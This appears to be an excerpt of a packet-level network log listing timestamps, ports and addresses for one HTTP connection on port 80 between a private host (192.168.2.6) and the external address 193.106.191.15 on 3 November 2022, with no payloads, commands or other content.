Nov 3, 2022 12:46:55.431214094 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.431247950 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.431288004 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.431293011 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.431338072 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.431404114 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.431416988 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.431492090 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.431555033 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.431562901 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.431632042 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.431674957 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.431698084 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.431777954 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.431826115 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.431845903 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.431921005 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.431984901 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.431992054 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.432060003 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.432101965 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.432131052 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.432202101 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.432322025 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.432329893 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.432329893 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.432389021 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.432425976 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.432455063 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.432523012 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.432565928 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.432585001 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.432653904 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.432693958 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.432720900 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.432789087 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.432848930 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.432858944 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.432902098 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.432945013 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.432948112 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.432988882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433031082 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.433032036 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433075905 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433118105 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.433120012 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433166027 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433206081 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.433211088 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433253050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433295965 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433296919 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.433336973 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433376074 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.433377981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433419943 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433460951 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.433463097 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433517933 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433558941 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.433562994 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433604956 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433648109 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.433646917 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433690071 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433732033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433732033 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.433773041 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433815956 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.433816910 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433862925 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433907986 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.433907986 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433950901 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433991909 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.433995962 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.434032917 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.434075117 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.434076071 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.434117079 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.434155941 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.434158087 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.434200048 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.434242010 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.434242964 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.434282064 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.434324980 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.434329033 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.434366941 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.434410095 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.434422970 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.438218117 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.438277960 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.438303947 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.438370943 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.438404083 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.440798998 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.443372011 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.451076984 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.456626892 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.456665039 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.456686020 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.456706047 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.456726074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.456747055 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.456767082 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.456788063 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.456808090 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.456856966 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.456995010 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.457815886 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.457842112 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.458045006 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.461131096 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.474745035 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.474791050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.474816084 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.474842072 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.474903107 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.474939108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.474941969 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.474973917 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.474998951 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.475023985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.475024939 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.475047112 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.475058079 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.475070953 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.475095987 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.475104094 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.476214886 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.476290941 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.476293087 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.476325989 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.476356983 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.476375103 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.476386070 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.476417065 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.476438046 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.476444960 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.476483107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.476490974 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.476522923 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.476564884 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.491214037 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491283894 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491321087 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491357088 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491390944 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491425037 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491422892 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.491458893 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491468906 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.491468906 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.491493940 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491529942 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491539001 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.491565943 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491599083 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491605043 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.491633892 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491667986 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491692066 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.491702080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491735935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491736889 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.491769075 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491803885 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491812944 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.491841078 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491875887 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491889000 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.491910934 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491945028 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.491952896 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.491981030 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492014885 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492022038 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.492049932 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492084980 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492095947 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.492120981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492155075 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492161036 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.492188931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492228985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492264032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492274046 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.492297888 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492312908 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.492332935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492367029 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492381096 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.492400885 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492435932 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492445946 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.492470026 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492505074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492538929 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492546082 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.492574930 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492582083 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.492610931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492645025 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492650986 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.492681980 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492716074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492718935 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.492753029 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492789984 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492794037 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.492825985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492861986 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492862940 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.492897034 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492930889 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.492938995 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.492966890 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493000984 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493005037 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.493035078 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493069887 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493074894 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.493104935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493139029 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493144035 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.493174076 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493206978 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493212938 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.493242979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493277073 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493283033 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.493311882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493350029 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493359089 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.493386030 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493419886 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493423939 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.493453979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493488073 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493493080 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.493521929 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493556976 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493561983 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.493592978 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493628979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493638992 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.493685007 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493721008 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493722916 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.493756056 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493789911 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493793011 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.493824959 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493865013 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493875027 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.493901014 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493938923 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.493951082 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.493974924 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494009972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494019985 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.494048119 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494083881 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494090080 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.494136095 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494173050 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494185925 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.494210005 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494246006 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494256020 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.494281054 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494318008 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494321108 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.494355917 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494390011 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494396925 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.494426012 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494462013 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494465113 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.494496107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494530916 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494537115 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.494566917 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494601965 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494606972 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.494638920 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.494640112 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494676113 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494688034 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.494713068 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494748116 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494755030 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.494782925 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494817972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494822979 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.494856119 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494899035 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.494919062 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494959116 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.494995117 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495031118 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495031118 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.495066881 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495074987 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.495104074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495140076 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495161057 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.495177031 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495212078 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495227098 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.495248079 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495286942 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495299101 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.495323896 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495357990 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495362997 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.495393991 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495429993 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495439053 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.495464087 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495501041 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495507956 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.495537996 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495573997 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495589972 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.495609999 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495646000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495672941 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495707035 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.495709896 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495743036 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.495748043 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495784998 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495796919 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.495820999 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495861053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.495863914 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.495897055 CET	80	49704	193.106.191.15	192.168.2.6
